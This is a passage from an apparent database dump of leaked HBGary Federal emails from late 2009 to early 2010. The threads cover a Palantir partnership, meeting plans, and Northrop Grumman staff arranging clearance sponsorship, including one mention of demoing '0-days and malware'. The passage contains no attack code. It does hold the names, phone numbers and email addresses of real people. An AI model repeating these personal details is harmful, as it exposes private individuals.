\r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n /* Style Definitions */ \r\n table.MsoNormalTable\r\n	{mso-style-name:\"Table Normal\";\r\n	mso-tstyle-rowband-size:0;\r\n	mso-tstyle-colband-size:0;\r\n	mso-style-noshow:yes;\r\n	mso-style-priority:99;\r\n	mso-style-qformat:yes;\r\n	mso-style-parent:\"\";\r\n	mso-padding-alt:0in 5.4pt 0in 5.4pt;\r\n	mso-para-margin:0in;\r\n	mso-para-margin-bottom:.0001pt;\r\n	mso-pagination:widow-orphan;\r\n	font-size:10.0pt;\r\n	font-family:\"Times New Roman\",\"serif\";}\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI am headed to CO next\r\nweek. Are you open for lunch on Wed or Fri?\r\n\r\n&nbsp;\r\n\r\nMatt\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, January 04, 2010 8:51 AM\r\nTo: matt@hbgary.com\r\nSubject: Re: Conversation\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMatt,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThought\r\nwe could get together some time this week. &nbsp;Your heading out to Colorado\r\nSprings for the cyberdefense conference right?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nDec 18, 2009, at 4:30 PM, matt@hbgary.com\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPerfect,\r\nHappy Holidays! Matt\r\n\r\nSent on the Sprint&reg; Now Network from my BlackBerry&reg;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nAaron Barr\r\n&lt;aaron@hbgary.com&gt; \r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nFri, 18 Dec\r\n2009 16:25:36 -0500\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\nMatt\r\nO\'Flynn&lt;matt@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nRe:\r\nConversation\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHey\r\nMatt,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am\r\nheaded to St. Louis for a few weeks on Monday. &nbsp;Lets make a plan to get\r\ntogether after the new year.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nDec 18, 2009, at 9:38 AM, Matt O\'Flynn wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Aaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks for the invite,\r\nI can&#8217;t make it today. Are you around on Monday or Tues next week?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\nMatt\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, December 18,\r\n2009 6:40 AM\r\nTo:&nbsp;Matt O\'Flynn\r\nCc:&nbsp;Bob Slapnik\r\nSubject:&nbsp;Re: Conversation\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHey\r\nMatt,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\nand I are meeting for lunch in Vienna if your available.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nDec 11, 2009, at 12:55 PM, Matt O\'Flynn wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Aaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRich told me he spoke\r\nwith you yesterday, I&#8217;d love to have a quick conversation if you have\r\nsome time today.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatt O\'Flynn\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n954-559-6934\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2735,'aaron_hbgary_com/2735.html'),(877,'2010-01-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000127.M80914P3547Q876.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Palantir partnership','Matt,Want to do this this week? &nbsp;I be bringing someone else on to the call that will be handling the integration work.AaronOn Dec 28, 2009, at 7:05 PM, Matthew Steckman wrote:Name change made.&nbsp; Once signed we should chat about what the integration will look like so your developer has some direction.&nbsp; Ill bring in Geoff Stowe (who you’ve met) for that discussion.&nbsp;Regards,Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, December 28, 2009 5:36 PMTo:&nbsp;Matthew SteckmanSubject:&nbsp;Re: Palantir partnership&nbsp;Hi Matt,&nbsp;Thanks for response. &nbsp;Looking forward to 2010. &nbsp;We are good to go. &nbsp;If you could change HBGary to HBGary Federal (probably no big deal but just to keep things straight), then I will sign and send back.&nbsp;As for holidays, so far so good.&nbsp;Happy Holidays,AaronFrom my iPhoneOn Dec 27, 2009, at 1:17 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt; wrote:Comments inline.&nbsp; I hope your holidays were great.&nbsp; Im not quite back in the swing of things but will have email access until I get back on the 3rd.&nbsp;&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, December 24, 2009 12:03 AMTo:&nbsp;Matthew SteckmanSubject:&nbsp;Re: Palantir partnership&nbsp;Hey Matt,&nbsp;Last minute Christmas shopping consumed my day.&nbsp;A few questions and I think we are ready.1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;The software licences will allow us to run more than 1 \"copy\" of the Palantir software? &nbsp;Reason being is our split between Sacramento and Either DC or Colorado Springs.Absolutely.&nbsp; You get unlimited test and development licenses to put wherever you want.&nbsp;2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I know Palantir runs on Oracle. &nbsp;Will we need to buy an oracle license or will the \"trial\" license work for our purposes?You got this ¾ correct.&nbsp; There are three “versions” of Palantir.&nbsp; One is called a QuickStart which simply runs on your laptop with a small backend supporting about 10,000 objects.&nbsp; QS are what developers will use when they are writing the integration (it allows for quick iterations on code).&nbsp; The second version is run on windows using a freely available version of Oracle called Oracle XE (express).&nbsp; This version is a little more beefy but still runs on one machine supporting about 4 GB worth of objects.&nbsp; This is probably the only form of Palantir you will need to do larger scale tests.&nbsp; The third version is basically a mirror of our deployment setup with a linux server backend and full oracle install.&nbsp; You will not need this build.&nbsp;&nbsp;So the short answer is that all three of these versions are available to you through partnership but you will only need the QS and Oracle XE installs.3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;The video. &nbsp;That is to be developed by HBGary Federal?Yes, this is a simple video made with something like Camtasia.&nbsp; Should be like a few hours of work, maybe less.&nbsp; We need this to send to our clients once the integration is complete and to put up on our website to link to.&nbsp;Aaron&nbsp;&nbsp;On Dec 21, 2009, at 6:01 PM, Matthew Steckman wrote:&nbsp;Aaron,&nbsp;Attached is our official partnership paperwork to start integration work for EOP (and potentially many other places).&nbsp; Please return a redlined copy or a signed agreement. &nbsp;You’ll notice that this is a free deal if the integration is performed within 60 days of signing the agreement.&nbsp;Looking forward to working with you guys.&nbsp;-Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;&lt;P3 HBGary.docx&gt;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&lt;P3 HBGary.docx&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8833,'aaron_hbgary_com/8833.html'),(878,'2010-01-04','\"Thompson, William (TS)\" <William.Thompson@ngc.com>','/aaron@hbgary.com/new/1297000127.M833364P3547Q878.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Happy New Year','Aaron\r\nThink you have the wrong person.  You may want to try again.\r\nBill Thompson\r\nCapture and Project Manager\r\nNorthrop Grumman Technical Services\r\nField Support Services\r\n5000 US 1 North Bldg 1\r\nSt. Augustine, FL 32095\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, January 04, 2010 9:14 AM\r\nTo: Thompson, William (TS)\r\nSubject: Happy New Year\r\n\r\nHi Bill,\r\n\r\nHope the holidays were great.\r\n\r\nLet me know when you have a little bit of time I want to talk to you\r\nabout co-use of space out here in DC.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16051,'aaron_hbgary_com/16051.html'),(879,'2010-01-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000128.M18466P3547Q879.eml','\"Thompson, William (TS)\" <William.Thompson@ngc.com>','Re: Happy New Year','yes I do.  Sorry.\r\n\r\nOn Jan 4, 2010, at 9:17 AM, Thompson, William (TS) wrote:\r\n\r\n> Aaron\r\n> Think you have the wrong person.  You may want to try again.\r\n> Bill Thompson\r\n> Capture and Project Manager\r\n> Northrop Grumman Technical Services\r\n> Field Support Services\r\n> 5000 US 1 North Bldg 1\r\n> St. Augustine, FL 32095\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, January 04, 2010 9:14 AM\r\n> To: Thompson, William (TS)\r\n> Subject: Happy New Year\r\n> \r\n> Hi Bill,\r\n> \r\n> Hope the holidays were great.\r\n> \r\n> Let me know when you have a little bit of time I want to talk to you\r\n> about co-use of space out here in DC.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15466,'aaron_hbgary_com/15466.html'),(880,'2010-01-04','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297000128.M263722P3547Q880.eml','\"Aaron Barr\" <adbarr@mac.com>,aaron@hbgary.com,\"Ted Vera\" <ted@hbgary.com>','Clearances and moving forward','\r\n\r\n\r\n\r\n\r\nClearances and moving forward\r\n\r\n\r\n\r\n\r\nGuys,\r\n\r\nHappy New Year.&nbsp; Hope you had a good holiday.\r\n\r\nI had an email exchange with our security manager this morning.&nbsp;&nbsp; It is right below.\r\n\r\nSo, it appears that we would need to put you as a sub under of our TS contracts.&nbsp; I am thinking a security consulting contract for minimal dollars that functions as an IDIQ.&nbsp; How does that sound?&nbsp; Got to figure out how we do that.\r\n\r\nI would like to try to take the resources that you guys have access to, the 0-days and malware and put together a demo in an attempt to get IDIQs from some of our customers for that type of work.&nbsp; Quickest way that I can see helping to get money funneling to you guys while there should be interest from people that we know.&nbsp; Interested?&nbsp;&nbsp; Would probably need to take one of each to show the ability.\r\n\r\nBrian\r\n\r\n\r\n\r\n=====================================================================================\r\n\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Monday, January 04, 2010 8:31 AM\r\nTo: Northcutt, Diane (Xetron)\r\nSubject: RE: Need the sponsor letter.\r\n\r\n\r\n\r\nIt was one dollar($1).&nbsp; So, the goal is to help these guys get their facility clearance.&nbsp; We have a very good relationship with them from their time at NGIS and now, at HBGary, they want to work with us.&nbsp; If we do not help them, someone else will.&nbsp; We may need to be creative.&nbsp; &nbsp;Could be give them a minimal contract, maybe for network security consulting on one of our programs, that would act as a retainer or an IDIQ type contract?\r\n\r\n\r\nFrom: Northcutt, Diane (Xetron)\r\nSent: Monday, January 04, 2010 8:28 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: RE: Need the sponsor letter.\r\n\r\n\r\n\r\nIt would need to be a DoD contract that requires a TS facility clearance.&nbsp; It would be a sub under one of our current contracts.&nbsp; I&#8217;m not sure what you mean be S1?\r\n\r\nDiane Northcutt\r\nSecurity Manager and FSO\r\nBusiness Conduct Officer\r\nNorthrop Grumman/Xetron \r\n\r\ndiane.northcutt@ngc.com\r\n513-881-3546 \r\n\r\nThe information in this e-mail may be considered Northrop Grumman Private/Proprietary.&nbsp; It is intended to be reviewed only by the individual(s) identified above.&nbsp; If you are not the intended recipient, you are hereby notified that any review, dissemination or copying of this e-mail and its attachments, if any, or the information contained herein is prohibited.&nbsp; If you have received this e-mail in error, please immediately notify the sender by return e-mail and delete this e-mail and all copies from your system.\r\n\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Monday, January 04, 2010 7:57 AM\r\nTo: Northcutt, Diane (Xetron)\r\nSubject: RE: Need the sponsor letter.\r\n\r\n\r\n\r\nNo.&nbsp; Can it be any contract even for $1?\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3543 \r\n\r\nFrom: Northcutt, Diane (Xetron)\r\nSent: Monday, January 04, 2010 7:43 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: RE: Need the sponsor letter.\r\n\r\n\r\n\r\nPer our DSS rep we must have a contract with the company in order to sponsor them for a facility clearance.&nbsp; Do we have a contract with them?\r\n\r\nDiane Northcutt\r\nSecurity Manager and FSO\r\nBusiness Conduct Officer\r\nNorthrop Grumman/Xetron \r\n\r\ndiane.northcutt@ngc.com\r\n513-881-3546 \r\n\r\nThe information in this e-mail may be considered Northrop Grumman Private/Proprietary.&nbsp; It is intended to be reviewed only by the individual(s) identified above.&nbsp; If you are not the intended recipient, you are hereby notified that any review, dissemination or copying of this e-mail and its attachments, if any, or the information contained herein is prohibited.&nbsp; If you have received this e-mail in error, please immediately notify the sender by return e-mail and delete this e-mail and all copies from your system.\r\n\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Wednesday, December 23, 2009 1:11 PM\r\nTo: Northcutt, Diane (Xetron)\r\nSubject: RE: Need the sponsor letter.\r\n\r\n\r\n\r\nDiane,\r\n\r\nAny status update on this?\r\n\r\nThanks,\r\nBrian\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3543 \r\n\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Tuesday, December 22, 2009 11:52 AM\r\nTo: Northcutt, Diane (Xetron)\r\nSubject: RE: Need the sponsor letter.\r\n\r\n\r\n\r\nDiane,\r\n\r\nI misunderstood the facility issue.&nbsp; That is the company hq address so that the company can be cleared so Ted and Aaron can hold clearances.&nbsp; Not to get a SCIF approved.\r\n\r\nDoes this help?\r\n\r\nBrian \r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3543 \r\n\r\nFrom: Northcutt, Diane (Xetron)\r\nSent: Tuesday, December 22, 2009 8:06 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: RE: Need the sponsor letter.\r\n\r\n\r\n\r\nI will need to research it.&nbsp; I think we need to have an active DoD contract with them in order to sponsor them but I will check it out.&nbsp; I believe that would be the same story for getting them a SCIF.&nbsp; I&#8217;ll let you know what I find out.\r\n\r\nDiane Northcutt\r\nSecurity Manager and FSO\r\nBusiness Conduct Officer\r\nNorthrop Grumman/Xetron \r\n\r\ndiane.northcutt@ngc.com\r\n513-881-3546 \r\n\r\nThe information in this e-mail may be considered Northrop Grumman Private/Proprietary.&nbsp; It is intended to be reviewed only by the individual(s) identified above.&nbsp; If you are not the intended recipient, you are hereby notified that any review, dissemination or copying of this e-mail and its attachments, if any, or the information contained herein is prohibited.&nbsp; If you have received this e-mail in error, please immediately notify the sender by return e-mail and delete this e-mail and all copies from your system.\r\n\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Tuesday, December 22, 2009 7:22 AM\r\nTo: Northcutt, Diane (Xetron)\r\nSubject: FW: Need the sponsor letter.\r\n\r\n\r\n\r\nDiane,\r\n\r\nCan you help me on this? There are two things involved in this.&nbsp; HBGary, Aaron Barr and Ted Vera, needs someone to sponsor their TS clearances and help get an approved SCIF.&nbsp; Aaron and Ted are friends who used to work for NGIS but now are the two leads at HBGary Federal.&nbsp; We want to partner up with them on opportunities.&nbsp; Both had customer TS/SCI clearances.&nbsp; Can we get them responsored through one of our programs?&nbsp; Second item, they are looking to get a SCIF.&nbsp; Is there some way that we could leverage one of our programs to get their SCIF approved?&nbsp; We are looking to help these guys out as some contractor will step up to help and they might as well be beholden to Xetron as opposed to another company.\r\n\r\nThanks for the help,\r\n\r\nBrian\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3543 \r\n\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Monday, December 21, 2009 1:02 PM\r\nTo: Thompson, Bill (Xetron); Simoni, Martin P. (Xetron); Northcutt, Diane (Xetron)\r\nSubject: FW: Need the sponsor letter.\r\n\r\n\r\n\r\nNot sure how to get this through to support HBGary&#8217;s clearances.&nbsp; Anyone?\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3543 \r\n\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Monday, December 21, 2009 11:16 AM\r\nTo: Masterson, Brian (Xetron)\r\nCc: Aaron Barr; aaron@hbgary.com\r\nSubject: Re: Need the sponsor letter.\r\n\r\n\r\n\r\nJust got the CAGE code. &nbsp;Sponsor letter attached.\r\n\r\nThanks again Brian!\r\n\r\nTed\r\n\r\n================================================================================\r\n\r\nBrian Masterson\r\n\r\nNorthrop Grumman/Xetron\r\n\r\nChief Technology Officer, IO Programs\r\n\r\nPh: 513-881-3591\r\n\r\nCell: 513-706-4848\r\n\r\nFax: 513-881-3543\r\n\r\n\r\n\r\n\r\n',10475,'aaron_hbgary_com/10475.html'),(881,'2010-01-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000128.M504371P3547Q881.eml','\"Thompson, Bill (Xetron)\" <Bill.Thompson2@ngc.com>','Happy New Year','Hi Bill,\r\n\r\nHope the holidays were great.\r\n\r\nLet me know when you have a little bit of time I want to talk to you about co-use of space out here in DC.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',65,'aaron_hbgary_com/65.html'),(882,'2010-01-04','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000128.M691312P3547Q882.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Palantir partnership','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYes, I was going to email you today (after I slog through my\r\ncluttered inbox&#8230;.haha).\r\n\r\n&nbsp;\r\n\r\nIll get with Geoff on my side and email you some times that we\r\nare free for a chat.  We could conference call or VTC from my office, your\r\nchoice.\r\n\r\n&nbsp;\r\n\r\n-Matt\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, January 04, 2010 9:16 AM\r\nTo: Matthew Steckman\r\nSubject: Re: Palantir partnership\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMatt,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWant to do this this week? &nbsp;I be bringing someone else\r\non to the call that will be handling the integration work.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 28, 2009, at 7:05 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nName change made.&nbsp; Once signed we should chat about what\r\nthe integration will look like so your developer has some direction.&nbsp; Ill\r\nbring in Geoff Stowe (who you&#8217;ve met) for that discussion.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nMatt\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, December 28,\r\n2009 5:36 PM\r\nTo:&nbsp;Matthew Steckman\r\nSubject:&nbsp;Re: Palantir\r\npartnership\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Matt,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for response. &nbsp;Looking forward to 2010. &nbsp;We\r\nare good to go. &nbsp;If you could change HBGary to HBGary Federal (probably no\r\nbig deal but just to keep things straight), then I will sign and send back.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAs for holidays, so far so good.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHappy Holidays,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 27, 2009, at 1:17 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nComments inline.&nbsp; I hope your holidays were great.&nbsp; Im\r\nnot quite back in the swing of things but will have email access until I get\r\nback on the 3rd.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, December\r\n24, 2009 12:03 AM\r\nTo:&nbsp;Matthew Steckman\r\nSubject:&nbsp;Re: Palantir\r\npartnership\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHey Matt,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLast minute Christmas shopping consumed my day.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nA few questions and I think we are ready.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;The\r\nsoftware licences will allow us to run more than 1 &quot;copy&quot; of the\r\nPalantir software? &nbsp;Reason being is our split between Sacramento and\r\nEither DC or Colorado Springs.\r\n\r\n\r\n\r\nAbsolutely.&nbsp; You get unlimited\r\ntest and development licenses to put wherever you want.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I\r\nknow Palantir runs on Oracle. &nbsp;Will we need to buy an oracle license or\r\nwill the &quot;trial&quot; license work for our purposes?\r\n\r\n\r\n\r\nYou got this ¾ correct.&nbsp; There\r\nare three &#8220;versions&#8221; of Palantir.&nbsp; One is called a QuickStart which simply\r\nruns on your laptop with a small backend supporting about 10,000 objects.&nbsp;\r\nQS are what developers will use when they are writing the integration (it\r\nallows for quick iterations on code).&nbsp; The second version is run on\r\nwindows using a freely available version of Oracle called Oracle XE\r\n(express).&nbsp; This version is a little more beefy but still runs on one\r\nmachine supporting about 4 GB worth of objects.&nbsp; This is probably the only\r\nform of Palantir you will need to do larger scale tests.&nbsp; The third\r\nversion is basically a mirror of our deployment setup with a linux server\r\nbackend and full oracle install.&nbsp; You will not need this build.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSo the short answer is that all\r\nthree of these versions are available to you through partnership but you will\r\nonly need the QS and Oracle XE installs.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;The\r\nvideo. &nbsp;That is to be developed by HBGary 